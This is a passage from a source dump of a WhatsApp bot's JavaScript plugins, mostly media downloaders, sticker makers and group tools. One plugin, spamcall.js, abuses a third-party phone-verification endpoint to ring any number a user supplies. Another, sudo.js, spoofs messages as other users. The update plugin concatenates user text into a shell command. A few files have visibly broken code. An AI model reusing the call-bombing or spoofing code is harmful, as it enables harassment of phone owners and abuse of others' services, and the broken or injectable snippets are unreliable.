<url>') 9 | handler.tags = ['downloader'] 10 | 11 | handler.command = /^smule$/i 12 | 13 | module.exports = handler 14 | -------------------------------------------------------------------------------- /plugins/snackvideo.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args }) => { 2 | if (!args[0]) throw 'Uhm...url nya mana?' 3 | global.API('xteam', '/dl/', { 4 | url: args[0] 5 | }, 'APIKEY') 6 | conn.sendFile(m.chat, undefined, '', '', m) 7 | } 8 | handler.help = [].map(v => v + ' <url>') 9 | handler.tags = ['downloader'] 10 | 11 | handler.command = /^\x00s$/i 12 | handler.disabled = true 13 | 14 | module.exports = handler 15 | -------------------------------------------------------------------------------- /plugins/spamcall.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | 3 | let handler = async (m, { conn, text, usedPrefix }) => { 4 | 5 | if (!text) throw `Usage Example\n${usedPrefix}spamcall 628xxxxxxxx` 6 | 7 | let nomor = text.replace(/[^0-9]/gi, '').slice(2) 8 | 9 | if (!nomor.startsWith('8')) throw `Usage Example\n${usedPrefix}spamcall 628xxxxxxxx` 10 | 11 | m.reply('_*Wait for your request to be processed.....*_') 12 | 13 | let anu = await fetch(`https://id.jagreward.com/member/verify-mobile/${nomor}`).then(a => a.json()) 14 | 15 | let spcall = `*Number bot* : _${anu.phone_prefix}_\n\n_The bot has successfully called you!_` 16 | 17 | conn.reply(m.chat, `${spcall}`.trim(), m) 18 | 19 | m.reply(anu) 20 | 21 | } 22 | 23 | // by Aine 24 | 25 | handler.help = ['spamcall <number>'] 26 | 27 | handler.tags = ['tools'] 28 | 29 | handler.command = /^(spamcall)$/i 30 | 31 | handler.limit = true 32 | 33 | module.exports = handler 34 | -------------------------------------------------------------------------------- /plugins/spotify.js: -------------------------------------------------------------------------------- 1 | // Made By github.com/TOXIC-DEVIL 2 | let fetch = require('node-fetch') 3 | let handler = async(m, { conn, text }) => { 4 | if (!text) throw `Enter the music title!` 5 | let res = await fetch(global.API('zeks', '/api/spotify', { q: text }, 'apikey')) 6 | if (!res.ok) throw await res.text() 7 | let json = await res.json() 8 | if(!json.data[0]) throw json 9 | let { title, artists, album, thumb, url, preview_mp3 } = json.data[0] 10 | let spotifyinfo = `✨️ *Title:* ${title} 11 | 🗣️ *Artists:* ${artists} 12 | 🎴 *Album:* ${album} 13 | 🌐️ *URL*: ${url} 14 | 🔗 *Direct URL:* ${preview_mp3}` 15 | 16 | await conn.sendFile(m.chat, thumb, '', spotifyinfo, m) 17 | await conn.sendFile(m.chat, preview_mp3, 'spotify.mp3', spotifyinfo, m) 18 | } 19 | handler.help = ['spotify <query>'] 20 | handler.tags = ['internet'] 21 | handler.command = /^(spotify|music)$/i 22 | // Made By github.com/TOXIC-DEVIL 23 | module.exports = handler 24 | -------------------------------------------------------------------------------- /plugins/ssweb.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, command, args }) => { 3 | let full = /f$/i.test(command) 4 | if (!args[0]) return conn.reply(m.chat, 'No url', m) 5 | let url = /https?:\/\//.test(args[0]) ? args[0] : 'https://' + args[0] 6 | let ss = await (await fetch(global.API('nrtm', '/api/ssweb', { delay: 1000, url, full }))).buffer() 7 | conn.sendFile(m.chat, ss, 'screenshot.png', url, m) 8 | } 9 | handler.help = ['ss/ssf'].map(v => v + ' <url>') 10 | handler.tags = ['internet'] 11 | handler.command = /^ss(web)?f?$/i 12 | handler.owner = false 13 | handler.mods = false 14 | handler.premium = false 15 | handler.group = false 16 | handler.private = false 17 | 18 | handler.admin = false 19 | handler.botAdmin = false 20 | 21 | handler.fail = null 22 | 23 | module.exports = handler 24 | 25 | -------------------------------------------------------------------------------- /plugins/stickerly.js: -------------------------------------------------------------------------------- 1 | const fetch = require('node-fetch') 2 | const { MessageType } = require('@adiwajshing/baileys') 3 | const { sticker } = require('../lib/sticker') 4 | 5 | let handler = async (m, { conn, text, usedPrefix, command }) => { 6 | 7 | if (!text) throw `*This command is for retrieve sticker from Stickerly based on search*\n\nUsage examples:\n${usedPrefix + command} spongebob` 8 | 9 | let res = await fetch(global.API('xteam', '/sticker/stickerly', { q: text }, 'APIKEY')) 10 | if (res.status !== 200) throw await res.text() 11 | let json = await res.json() 12 | if (!json.status) throw json 13 | m.reply(` 14 | *Total sticker:* ${json.result.stickerlist.length} 15 | `.trim()) 16 | 17 | for (let i of json.result.stickerlist) { 18 | stiker = await sticker(false, i, global.packname, global.author) 19 | await conn.sendMessage(m.chat, stiker, MessageType.sticker, { quoted: m }) 20 | await delay(1500) 21 | } 22 | 23 | } 24 | handler.help = ['stickerly <search>'] 25 | handler.tags = ['sticker'] 26 | handler.command = /^(stic?kerly)$/i 27 | 28 | handler.limit = true 29 | 30 | module.exports = handler 31 | 32 | const delay = time => new Promise(res => setTimeout(res, time)) 33 | -------------------------------------------------------------------------------- /plugins/stopjadibot.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | if (global.conn.user.jid == conn.user.jid) conn.reply(m.chat, 'Why not go directly to the terminal?', m) 3 | else { 4 | await conn.reply(m.chat, 'Goodbye bot :\')', m) 5 | conn.close() 6 | } 7 | } 8 | handler.help = ['stop'] 9 | handler.tags = ['jadibot'] 10 | handler.command = /^(stop)$/i 11 | handler.owner = true 12 | handler.mods = false 13 | handler.premium = false 14 | handler.group = false 15 | handler.private = false 16 | 17 | handler.admin = false 18 | handler.botAdmin = false 19 | 20 | handler.fail = null 21 | 22 | module.exports = handler 23 | 24 | -------------------------------------------------------------------------------- /plugins/strash.js: -------------------------------------------------------------------------------- 1 | const uploadImage = require('../lib/uploadImage') 2 | const { sticker } = require('../lib/sticker') 3 | const { MessageType } = require('@adiwajshing/baileys') 4 | 5 | let handler = async (m, { conn, text }) => { 6 | try { 7 | let q = m.quoted ? m.quoted : m 8 | let mime = (q.msg || q).mimetype || '' 9 | if (!mime) throw 'No photo !' 10 | if (!/image\/(jpe?g|png)/.test(mime)) throw `Meme ${mime} not supported` 11 | let img = await q.download() 12 | let url = await uploadImage(img) 13 | let wanted = global.API('dzx', '/api/canvas/trash', { url }) //`https://api.dhamzxploit.my.id/api/canvas/trash?url=${url}` 14 | let stiker = await sticker(null, wanted, 'trash', '©games-wabot') 15 | conn.sendMessage(m.chat, stiker, MessageType.sticker, { 16 | quoted: m 17 | }) 18 | } catch (e) { 19 | m.reply('Conversion Failed') 20 | } 21 | } 22 | handler.help = ['trash'] 23 | handler.tags = ['sticker'] 24 | handler.command = /^trash$/i 25 | 26 | module.exports = handler 27 | -------------------------------------------------------------------------------- /plugins/styletext.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let { JSDOM } = require('jsdom') 3 | let handler = async (m, { conn, text }) => { 4 | conn.reply(m.chat, Object.entries(await stylizeText(text ? text : m.quoted && m.quoted.text ? m.quoted.text : m.text)).map(([name, value]) => `*${name}*\n${value}`).join`\n\n`, m) 5 | } 6 | handler.help = ['style'].map(v => v + ' <text>') 7 | handler.tags = ['tools'] 8 | handler.command = /^(style)$/i 9 | handler.owner = false 10 | handler.mods = false 11 | handler.premium = false 12 | handler.group = false 13 | handler.private = false 14 | 15 | handler.admin = false 16 | handler.botAdmin = false 17 | 18 | handler.fail = null 19 | handler.exp = 0 20 | 21 | module.exports = handler 22 | 23 | async function stylizeText(text) { 24 | let res = await fetch('http://qaz.wtf/u/convert.cgi?text=' + encodeURIComponent(text)) 25 | let html = await res.text() 26 | let dom = new JSDOM(html) 27 | let table = dom.window.document.querySelector('table').children[0].children 28 | let obj = {} 29 | for (let tr of table) { 30 | let name = tr.querySelector('.aname').innerHTML 31 | let content = tr.children[1].textContent.replace(/^\n/, '').replace(/\n$/, '') 32 | obj[name + (obj[name] ? ' Reversed' : '')] = content 33 | } 34 | return obj 35 | } 36 | -------------------------------------------------------------------------------- /plugins/subreddit.js: -------------------------------------------------------------------------------- 1 | let fetch = require("node-fetch") 2 | 3 | let handler = async (m, { conn, text }) => { 4 | let res = await fetch(global.API('https://meme-api.herokuapp.com', '/gimme/' + encodeURI(text || ''), {})) 5 | if (!res.ok) throw await res.text() 6 | let json = await res.json() 7 | if (!json.url) throw 'Media not found!' 8 | if (json.nsfw) throw 'Content blocked' 9 | await conn.sendFile(m.chat, json.url, text, json.title, m, false, { thumbnail: Buffer.alloc(0) }) 10 | } 11 | handler.help = ['subreddit/sr <query>'] 12 | handler.tags = ['internet'] 13 | handler.command = /^(sr|subreddit)$/i 14 | 15 | module.exports = handler 16 | -------------------------------------------------------------------------------- /plugins/sudo.js: -------------------------------------------------------------------------------- 1 | const { newMessagesDB } = require("@adiwajshing/baileys") 2 | 3 | let handler = async (m, { conn, text }) => { 4 | if (!text) throw false 5 | let who 6 | if (m.isGroup) who = m.mentionedJid[0] 7 | else who = m.chat 8 | if (!who) throw 'Tag salah satu lah' 9 | txt = text.replace('@' + who.split`@`[0], '').trimStart() 10 | conn.emit('chat-update', { 11 | jid: who, 12 | hasNewMessage: true, 13 | messages: newMessagesDB([conn.cMod(m.chat, m, txt, who)]) 14 | }) 15 | } 16 | handler.command = /^sudo$/ 17 | handler.rowner = true 18 | 19 | module.exports = handler 20 | -------------------------------------------------------------------------------- /plugins/tagall.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text, participants }) => { 2 | let users = participants.map(u => u.jid) 3 | m.reply(text + '\n' + users.map(v => '🎗️@' + v.replace(/@.+/, '')).join`\n`, null, { 4 | contextInfo: { mentionedJid: users } 5 | }) 6 | } 7 | handler.help = ['tagall'] 8 | handler.tags = ['group'] 9 | handler.command = /^tagall$/i 10 | 11 | handler.admin = true 12 | handler.group = true 13 | 14 | module.exports = handler 15 | -------------------------------------------------------------------------------- /plugins/template.js: -------------------------------------------------------------------------------- 1 | async function handler(m, { conn, text, args }) { 2 | m.reply('@' + m.sender.split('@')[0], false, { 3 | contextInfo: { 4 | mentionedJid: [m.sender] 5 | } 6 | }) 7 | } 8 | 9 | // this is chat-update 10 | // handler.all = function (m, chatUpdate) { 11 | // 12 | // } 13 | 14 | // this is executed before normal handler 15 | // handler.before = function (m) { 16 | // 17 | // } 18 | 19 | // handler.help = [''].map(v => v + ' <>') 20 | // handler.tags = [''] 21 | handler.command = ['tagme'] 22 | // handler.owner = false 23 | // handler.mods = false 24 | // handler.premium = false 25 | // handler.group = false 26 | // handler.private = false 27 | 28 | // handler.admin = false 29 | // handler.botAdmin = false 30 | 31 | // handler.fail = null 32 | // handler.exp = 0 33 | // handler.level = 1 34 | 35 | handler.disabled = true 36 | 37 | module.exports = handler 38 | -------------------------------------------------------------------------------- /plugins/textpro.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let split = '|' 3 | let handler = async (m, { conn, args: [effect], text: txt }) => { 4 | let { effects } = await (await (fetch(global.API('xteam', '/textpro')))).json() 5 | if (!effect) throw '*List of Effects*\n\n' + effects.sort((a, b) => a - b).join('\n') 6 | effect = effect.toLowerCase() 7 | if (!effect in effects) throw `Effect *${effect}* not found` 8 | let [text, ...text2] = txt.replace(effect, '').trimStart().split(split) 9 | text2 = text2.join(split) 10 | let url = global.API('xteam', '/textpro/' + effect, { text, text2 }, 'APIKEY') 11 | await conn.sendFile(m.chat, url, 'textpro.jpg', `*TEXTPRO*\n*Effect:* ${effect}`, m) 12 | } 13 | handler.help = ['textpro/tp'].map(v => v + ' <effect> <text>|<text2>') 14 | handler.tags = ['tools'] 15 | handler.command = /^(textpro|tp)$/i 16 | 17 | module.exports = handler 18 | 19 | -------------------------------------------------------------------------------- /plugins/tiktok.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, args }) => { 3 | if (!args[0]) throw 'Uhm... where\'s the url?' 4 | let res = await fetch(global.API('xteam', '/dl/tiktok', { 5 | url: args[0] 6 | }, 'APIKEY')) 7 | if (res.status !== 200) throw await res.text() 8 | let json = await res.json() 9 | if (!json.status) throw json 10 | let url = json.server_1 || json.info[0].videoUrl || '' 11 | if (!url) throw 'Failed to fetch download url' 12 | let txt = json.info[0].text 13 | for (let hashtag of json.info[0].hashtags) txt = txt.replace(hashtag, '*$&*') 14 | await conn.sendFile(m.chat, url, 'tiktok.mp4', ` 15 | ▶ ${json.info[0].playCount} Views 16 | ❤ ${json.info[0].diggCount} Likes 17 | 🔁 ${json.info[0].shareCount} Shares 18 | 💬 ${json.info[0].commentCount} Comments 19 | 🎵 ${json.info[0].musicMeta.musicName} by ${json.info[0].musicMeta.musicAuthor} 20 | - *By:* ${json.info[0].authorMeta.nickName} (${json.info[0].authorMeta.name}) 21 | - *Desc:* 22 | `.trim(), m) 23 | } 24 | handler.help = ['tiktok'].map(v => v + ' <url>') 25 | handler.tags = ['downloader'] 26 | 27 | handler.command = /^(tik(tok)?(dl)?)$/i 28 | 29 | module.exports = handler 30 | -------------------------------------------------------------------------------- /plugins/togif.js: -------------------------------------------------------------------------------- 1 | let { webp2mp4 } = require('../lib/webp2mp4') 2 | let handler = async (m, { conn, usedPrefix, command }) => { 3 | if (!m.quoted) throw `reply sticker with caption *${usedPrefix + command}*` 4 | let mime = m.quoted.mimetype || '' 5 | if (!/webp/.test(mime)) throw `reply sticker with caption *${usedPrefix + command}*` 6 | let media = await m.quoted.download() 7 | let out = Buffer.alloc(0) 8 | if (/webp/.test(mime)) { 9 | out = await webp2mp4(media) 10 | } 11 | await conn.sendFile(m.chat, out, 'out.gif', 'DONE', m, false, { mimetype: 'video/gif', thumbnail: Buffer.alloc(0) }) 12 | } 13 | handler.help = ['togif (reply)'] 14 | handler.tags = ['sticker'] 15 | handler.command = ['togif'] 16 | 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/toimg2.js: -------------------------------------------------------------------------------- 1 | 2 | let { webp2png } = require('../lib/webp2mp4') 3 | let handler = async (m, { conn, usedPrefix, command }) => { 4 | if (!m.quoted) throw `reply sticker with caption *${usedPrefix + command}*` 5 | let mime = m.quoted.mimetype || '' 6 | if (!/webp/.test(mime)) throw `reply sticker with caption *${usedPrefix + command}*` 7 | let media = await m.quoted.download() 8 | let out = Buffer.alloc(0) 9 | if (/webp/.test(mime)) { 10 | out = await webp2png(media) 11 | } 12 | await conn.sendFile(m.chat, out, 'out.png', '*DONE*', m, false, { 13 | thumbnail: Buffer.alloc(0) 14 | }) 15 | } 16 | handler.help = ['toimg2 (reply)'] 17 | handler.tags = ['sticker'] 18 | handler.command = ['toimg2'] 19 | module.exports = handler 20 | -------------------------------------------------------------------------------- /plugins/tokio.js: -------------------------------------------------------------------------------- 1 | let handler = async m => m.reply(` 2 | ☕ *Tokio :* a whatsapp bot\n\n🔗 *URL :* https://github.com/itsajaygaur/tokio-wabot 3 | `.trim()) // repository 4 | handler.help = ['tokio'] 5 | handler.tags = ['info'] 6 | handler.command = /^tokio|repo$/i 7 | 8 | module.exports = handler 9 | -------------------------------------------------------------------------------- /plugins/tomp3.js: -------------------------------------------------------------------------------- 1 | const { toAudio } = require('../lib/converter') 2 | const { MessageType } = require('@adiwajshing/baileys') 3 | 4 | let handler = async (m, { conn, usedPrefix, command }) => { 5 | let q = m.quoted ? m.quoted : m 6 | let mime = (m.quoted ? m.quoted : m.msg).mimetype || '' 7 | if (!/video|audio/.test(mime)) throw `Balas video atau voice note yang ingin diubah ke mp3 dengan caption *${usedPrefix + command}*` 8 | let media = await q.download() 9 | let audio = await toAudio(media, 'mp4') 10 | conn.sendMessage(m.chat, audio, MessageType.audio, { 11 | quoted: m, mimetype: 'audio/mp4' 12 | }) 13 | } 14 | handler.help = ['tomp3 (reply)'] 15 | handler.tags = ['audio'] 16 | 17 | handler.command = /^to(mp3|a(udio)?)$/i 18 | 19 | module.exports = handler 20 | -------------------------------------------------------------------------------- /plugins/toptt.js: -------------------------------------------------------------------------------- 1 | const { toPTT } = require('../lib/converter') 2 | const { MessageType } = require('@adiwajshing/baileys') 3 | 4 | let handler = async (m, { conn, usedPrefix, command }) => { 5 | let q = m.quoted ? m.quoted : m 6 | let mime = (m.quoted ? m.quoted : m.msg).mimetype || '' 7 | if (!/video|audio/.test(mime)) throw `Balas audio yang ingin diubah ke voice note dengan caption *${usedPrefix + command}*` 8 | let media = await q.download() 9 | let audio = await toPTT(media, 'mp4') 10 | conn.sendMessage(m.chat, audio, MessageType.audio, { 11 | quoted: m, 12 | ptt: true 13 | }) 14 | } 15 | handler.help = ['tovn (reply)'] 16 | handler.tags = ['audio'] 17 | 18 | handler.command = /^to(vn|(ptt)?)$/i 19 | 20 | module.exports = handler 21 | -------------------------------------------------------------------------------- /plugins/totalPesan.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | let id = m.chat 3 | let mCount = {} 4 | let totalM = 0 5 | await conn.loadAllMessages(id, m => { 6 | let user = m.key.fromMe ? conn.user.jid : m.participant ? m.participant : id.includes('g.us') ? '' : id 7 | if (!user) return 8 | if (user in mCount) mCount[user]++ 9 | else mCount[user] = 1 10 | totalM++ 11 | }, 1000) 12 | let sorted = Object.entries(mCount).sort((a, b) => b[1] - a[1]) 13 | let pesan = sorted.map(v => `${v[0].replace(/(\d+)@.+/, '@$1')}: ${v[1]} message`).join('\n') 14 | m.reply(`${totalM} Total messages\n${pesan}`, false, { contextInfo: { mentionedJid: sorted.map(v => v[0]) } }) 15 | } 16 | handler.help = ['totalmessage'] 17 | handler.tags = ['group'] 18 | 19 | handler.command = /^totalmessage$/i 20 | 21 | module.exports = handler 22 | -------------------------------------------------------------------------------- /plugins/tovideo.js: -------------------------------------------------------------------------------- 1 | let { webp2mp4 } = require('../lib/webp2mp4') 2 | let { ffmpeg } = require('../lib/converter') 3 | let handler = async (m, { conn }) => { 4 | if (!m.quoted) throw 'Reply sticker or audio!' 5 | let mime = m.quoted.mimetype || '' 6 | if (!/webp|audio/.test(mime)) throw 'Reply sticker or audio!' 7 | let media = await m.quoted.download() 8 | let out = Buffer.alloc(0) 9 | if (/webp/.test(mime)) { 10 | out = await webp2mp4(media) 11 | } else if (/audio/.test(mime)) { 12 | out = await ffmpeg(media, [ 13 | '-filter_complex', 'color', 14 | '-pix_fmt', 'yuv420p', 15 | '-crf', '51', 16 | '-c:a', 'copy', 17 | '-shortest' 18 | ], 'mp3', 'mp4') 19 | } 20 | await conn.sendFile(m.chat, out, 'out.mp4', null, m) 21 | } 22 | handler.help = ['tovideo (reply)'] 23 | handler.tags = ['sticker'] 24 | 25 | handler.command = ['tovideo'] 26 | 27 | module.exports = handler 28 | -------------------------------------------------------------------------------- /plugins/translate.js: -------------------------------------------------------------------------------- 1 | const translate = require('translate-google-api') 2 | const defaultLang = 'en' 3 | const tld = 'cn' 4 | 5 | let handler = async (m, { args, usedPrefix, command }) => { 6 | let err = ` 7 | Example: 8 | ${usedPrefix + command} <lang> [text] 9 | ${usedPrefix + command} id your messages 10 | 11 | List of supported languages: https://cloud.google.com/translate/docs/languages 12 | `.trim() 13 | 14 | let lang = args[0] 15 | let text = args.slice(1).join(' ') 16 | if ((args[0] || '').length !== 2) { 17 | lang = defaultLang 18 | text = args.join(' ') 19 | } 20 | if (!text && m.quoted && m.quoted.text) text = m.quoted.text 21 | 22 | let result 23 | try { 24 | result = await translate(`${text}`, { 25 | tld, 26 | to: lang, 27 | }) 28 | } catch (e) { 29 | result = await translate(`${text}`, { 30 | tld, 31 | to: defaultLang, 32 | }) 33 | throw err 34 | } finally { 35 | m.reply(result[0]) 36 | } 37 | 38 | } 39 | handler.help = ['translate'].map(v => v + ' <lang> <text>') 40 | handler.tags = ['tools'] 41 | handler.command = /^(tr(anslate)?)$/i 42 | handler.limit = false 43 | handler.fail = null 44 | handler.exp = 0 45 | module.exports = handler 46 | -------------------------------------------------------------------------------- /plugins/trendingtwitter.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { text }) => { 3 | let res = await fetch(global.API('xteam', '/trendingtwitter', {}, 'APIKEY')) 4 | if (!res.ok) throw await res.text() 5 | let json = await res.json() 6 | let trd = json.result[0].trends.map((v, i) => `#${i + 1}. (${v.name}) \n*Tweet Volume:* ${v.tweet_volume}\n*Promoted Content:* ${v.promoted_content? 'Yes' : 'No'}\n*Query:* ${v.query}\n${v.url}`).join('\n') 7 | if (json.status) m.reply(trd) 8 | else throw json 9 | } 10 | handler.help = ['trendtwit/trendingtwitter'] 11 | handler.tags = ['internet'] 12 | handler.command = /^(trend(twit|ingtwitter))$/i 13 | 14 | module.exports = handler 15 | -------------------------------------------------------------------------------- /plugins/trigger.js: -------------------------------------------------------------------------------- 1 | //kok cewe gw jadi cuek yahh? daritadi pagi gw chat ga dibales cuman di read doang 2 | 3 | const { sticker } = require('../lib/sticker') 4 | const { MessageType } = require('@adiwajshing/baileys') 5 | let handler = async (m, { conn }) => { 6 | let who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : conn.user.jid : m.sender 7 | let marah = global.API('https://some-random-api.ml', '/canvas/triggered', { 8 | avatar: await conn.getProfilePicture(who).catch(_ => 'https://telegra.ph/file/24fa902ead26340f3df2c.png'), 9 | }) 10 | let stiker = await sticker(null, marah, global.packname, global.author) 11 | if (stiker) return conn.sendFile(m.chat, stiker, m, false, { asSticker: true }); 12 | else throw stiker.toString() 13 | } 14 | 15 | 16 | handler.help = ['trigger'] 17 | handler.tags = ['maker'] 18 | 19 | handler.command = /^(trigger)$/i 20 | 21 | module.exports = handler 22 | -------------------------------------------------------------------------------- /plugins/ttp.js: -------------------------------------------------------------------------------- 1 | const { sticker } = require('../lib/sticker') 2 | const { MessageType } = require('@adiwajshing/baileys') 3 | 4 | let handler = async (m, { conn, text }) => { 5 | let teks = text ? text : m.quoted && m.quoted.text ? m.quoted.text : m.text 6 | let stiker = await sticker(null, global.API('xteam', '/ttp', { file: '', text: teks }), global.packname, global.author) 7 | if (stiker) return conn.sendMessage(m.chat, stiker, MessageType.sticker, { 8 | quoted: m 9 | }) 10 | throw stiker.toString() 11 | } 12 | handler.help = ['ttp <teks>'] 13 | handler.tags = ['sticker'] 14 | 15 | handler.command = /^ttp$/i 16 | 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/ttp2.js: -------------------------------------------------------------------------------- 1 | const fetch = require('node-fetch') 2 | const { sticker } = require('../lib/sticker') 3 | const { MessageType } = require('@adiwajshing/baileys') 4 | 5 | let handler = async (m, { conn, text }) => { 6 | try { 7 | let teks = text ? text : m.quoted && m.quoted.text ? m.quoted.text : m.text 8 | let url = await fetch(global.API('https://salism3api.pythonanywhere.com', '/text2img/', { text: teks })) 9 | res = await url.json() 10 | stick = res.image 11 | let stiker = await sticker(null, stick, global.packname, global.author) 12 | conn.sendMessage(m.chat, stiker, MessageType.sticker, { 13 | quoted: m 14 | }) 15 | } catch (e) { 16 | m.reply('Conversion Failed') 17 | throw false 18 | } 19 | } 20 | handler.help = ['ttp2 <teks>'] 21 | handler.tags = ['sticker'] 22 | handler.command = /^(ttp2)$/i 23 | handler.limit = true 24 | //MadeByAnshul 25 | module.exports = handler -------------------------------------------------------------------------------- /plugins/ttpdark.js: -------------------------------------------------------------------------------- 1 | const fetch = require('node-fetch') 2 | const { sticker } = require('../lib/sticker') 3 | const { MessageType } = require('@adiwajshing/baileys') 4 | 5 | let handler = async (m, { conn, text }) => { 6 | try { 7 | let teks = text ? text : m.quoted && m.quoted.text ? m.quoted.text : m.text 8 | let url = await fetch(global.API('https://salism3api.pythonanywhere.com', '/text2img/', { text: teks, outlineColor: '255,0,0,255', textColor: '0,0,0,255' })) 9 | res = await url.json() 10 | stick = res.image 11 | let stiker = await sticker(null, stick, global.packname, global.author) 12 | conn.sendMessage(m.chat, stiker, MessageType.sticker, { 13 | quoted: m 14 | }) 15 | } catch (e) { 16 | m.reply('Conversion Failed') 17 | throw false 18 | } 19 | } 20 | handler.help = ['ttpdark <teks>'] 21 | handler.tags = ['sticker'] 22 | handler.command = /^(ttpdark)$/i 23 | handler.limit = true 24 | //Made By Anshul 25 | module.exports = handler -------------------------------------------------------------------------------- /plugins/tts.js: -------------------------------------------------------------------------------- 1 | let gtts = require('node-gtts') 2 | let fs = require('fs') 3 | let path = require('path') 4 | let { spawn } = require('child_process') 5 | 6 | const defaultLang = 'hi' 7 | let handler = async (m, { conn, args }) => { 8 | 9 | let lang = args[0] 10 | let text = args.slice(1).join(' ') 11 | if ((args[0] || '').length !== 2) { 12 | lang = defaultLang 13 | text = args.join(' ') 14 | } 15 | if (!text && m.quoted && m.quoted.text) text = m.quoted.text 16 | 17 | let res 18 | try { res = await tts(text, lang) } 19 | catch (e) { 20 | m.reply(e + '') 21 | res = await tts(text) 22 | } finally { 23 | conn.sendFile(m.chat, res, 'tts.opus', null, m, true) 24 | } 25 | } 26 | handler.help = ['tts <lang> <text>'] 27 | handler.tags = ['tools'] 28 | handler.command = /^g?tts$/i 29 | module.exports = handler 30 | 31 | function tts(text, lang = 'id') { 32 | console.log(lang, text) 33 | return new Promise((resolve, reject) => { 34 | try { 35 | let tts = gtts(lang) 36 | let filePath = path.join(__dirname, '../tmp', (1 * new Date) + '.wav') 37 | tts.save(filePath, text, () => { 38 | resolve(fs.readFileSync(filePath)) 39 | fs.unlinkSync(filePath) 40 | }) 41 | } catch (e) { reject(e) } 42 | }) 43 | } 44 | -------------------------------------------------------------------------------- /plugins/twitter.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, args }) => { 3 | if (!args[0]) throw 'Uhm... where\'s the url?' 4 | let res = await fetch(global.API('xteam', '/dl/twitter', { url: args[0] }, 'APIKEY')) 5 | if (res.status != 200) throw await res.text() 6 | let json = await res.json() 7 | if (!json.status) throw json 8 | let { name, username, caption, quality, format, size, video_url } = json.result 9 | conn.sendFile(m.chat, video_url, 'file.mp4', ` 10 | Name: ${name} 11 | Username: ${username} 12 | Caption: ${caption} 13 | Quality: ${quality} 14 | Format: ${format} 15 | Size: ${size} 16 | `.trim(), m) 17 | } 18 | handler.help = ['twitter'].map(v => v + ' <url>') 19 | handler.tags = ['downloader'] 20 | 21 | handler.command = /^twitter$/i 22 | 23 | handler.limit = true 24 | 25 | module.exports = handler 26 | -------------------------------------------------------------------------------- /plugins/unbanchat.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | global.db.data.chats[m.chat].isBanned = false 3 | m.reply('Done!') 4 | } 5 | handler.help = ['unbanchat'] 6 | handler.tags = ['owner'] 7 | handler.command = /^unbanchat$/i 8 | handler.owner,handler.mods = true 9 | 10 | module.exports = handler 11 | -------------------------------------------------------------------------------- /plugins/unbanuser.js: -------------------------------------------------------------------------------- 1 | let { MessageType } = require('@adiwajshing/baileys') 2 | let handler = async (m, { conn, text}) => { 3 | if (!text) throw 'Who wants to be unbanned?' 4 | let who 5 | if (m.isGroup) who = m.mentionedJid[0] 6 | else who = m.chat 7 | if (!who) throw 'Tag one' 8 | let users = global.db.data.users 9 | users[who].banned = false 10 | conn.reply(m.chat, `successfully unbanned`, m) 11 | } 12 | handler.help = ['ban'] 13 | handler.tags = ['owner'] 14 | handler.command = /^unban$/i 15 | handler.rowner = true 16 | 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/unregister.js: -------------------------------------------------------------------------------- 1 | const { createHash } = require('crypto') 2 | let handler = async function (m, { args }) { 3 | if (!args[0]) throw 'Empty serial number' 4 | let user = global.db.data.users[m.sender] 5 | let sn = createHash('md5').update(m.sender).digest('hex') 6 | if (args[0] !== sn) throw 'Wrong serial number' 7 | user.registered = false 8 | m.reply(`Unreg succeeded!`) 9 | } 10 | handler.help = ['/unregister'].map(v => 'unreg' + v + ' <SN|SERIAL NUMBER>') 11 | handler.tags = ['exp'] 12 | 13 | handler.command = /^unreg(ister)?$/i 14 | handler.register = true 15 | 16 | module.exports = handler 17 | 18 | -------------------------------------------------------------------------------- /plugins/unsplah.js: -------------------------------------------------------------------------------- 1 | // suka susu 2 | 3 | const fetch = require('node-fetch') 4 | 5 | let handler = async (m, { conn, text }) => { 6 | if (!text) throw 'Looking for what?' 7 | let res = await fetch(global.API('zeks','/api/unsplash', { 8 | q : encodeURI(text) 9 | }, 'apikey')) 10 | if (!res.ok) throw await res.text() 11 | let json = await res.json() 12 | let img = json.result[Math.floor(Math.random() * json.result.length)] 13 | if (json.status) conn.sendFile(m.chat, img.img_hd, 'unsplash', 'Here Unsplash!', m) 14 | else throw json 15 | } 16 | handler.help = ['unsplash <keyword>'] 17 | handler.tags = ['internet'] 18 | handler.command = /^(unsplash)$/i 19 | // 20 | module.exports = handler 21 | -------------------------------------------------------------------------------- /plugins/update.js: -------------------------------------------------------------------------------- 1 | let { execSync } = require('child_process') 2 | let handler = async (m, { conn, text }) => { 3 | if (global.conn.user.jid == conn.user.jid) { 4 | let stdout = execSync('git pull' + (m.fromMe && text ? ' ' + text : '')) 5 | require('fs').readdirSync('plugins').map(v=>global.reload('', v)) 6 | conn.reply(m.chat, stdout.toString(), m) 7 | } 8 | } 9 | handler.help = ['update'] 10 | handler.tags = ['host'] 11 | handler.command = /^update$/i 12 | handler.owner = true 13 | handler.mods = false 14 | handler.premium = false 15 | handler.group = false 16 | handler.private = false 17 | 18 | handler.admin = false 19 | handler.botAdmin = false 20 | 21 | handler.fail = null 22 | handler.exp = 0 23 | 24 | module.exports = handler 25 | -------------------------------------------------------------------------------- /plugins/upload.js: -------------------------------------------------------------------------------- 1 | const uploadFile = require('../lib/uploadFile') 2 | const uploadImage = require('../lib/uploadImage') 3 | 4 | let handler = async (m) => { 5 | let q = m.quoted ? m.quoted : m 6 | let mime = (q.msg || q).mimetype || '' 7 | if (!mime) throw 'No media found' 8 | let media = await q.download() 9 | let isTele = 